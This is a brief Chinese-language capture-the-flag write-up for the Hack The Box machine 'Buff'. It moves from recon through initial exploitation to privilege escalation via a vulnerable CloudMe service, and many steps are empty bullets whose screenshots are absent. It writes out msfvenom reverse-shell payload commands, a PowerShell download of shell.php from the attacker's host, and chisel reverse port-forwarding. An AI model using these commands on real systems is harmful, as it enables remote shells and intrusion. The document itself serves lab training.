[Day23] HTB Buff

• URL : https://app.hackthebox.eu/machines/263
• IP : 10.129.2.18

Recon

• 扫 Port
  • 
• 扫目录
  • 
  • /Readme.md
    • 
• 观察首页
  • 
  • 
    • SQL 档案
    • 
• 找到专案 Project
  • https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/
  • 
  • 
    • 预设密码，登入失败

Exploit

• 试用 Exploit
  • 
• 准备另外一个 reverse shell
  • 
• 确认 Systeminfo
  • 
• 取 Userflag
  • 
  • 

提权

• 确认 Defender 有开
  • 
• 产 Shell
  • msfvenom -p php/reverse_php LHOST=10.10.16.35 LPORT=7877 -f raw > shell.php
  • powershell -c "wget http://10.10.16.35/shell.php -outFile shell.php"
• 乱逛系统
  • 
• 观察开的 Port
  • netstat -ano -p tcp
  • 
• 观察执行中的 Process
  • tasklist
  • 
• 发现 Downloads 资料夹有 CloudMe_1122.exe
  • 
  • 
• 观察开的 Port
  • 
  • 8888 但他只绑 127.0.0.1

Exploit

• 本地端执行
  • ./chisel server -p 9999 --reverse
• 远端执行
  • chisel.exe client 10.10.16.35:9999 R:8888:127.0.0.1:8888
  • 把 Port 转回 127.0.0.1:8888
• 收封包
  • 
• 使用 Exploit
  • https://www.exploit-db.com/exploits/48389
• 修改 shell code
  • msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=4444 EXITFUNC=thread -b "\x00\x0d\x0a" -f python
  • 
• 收 Reverse shell
  • 
• 取得 Root flag
  •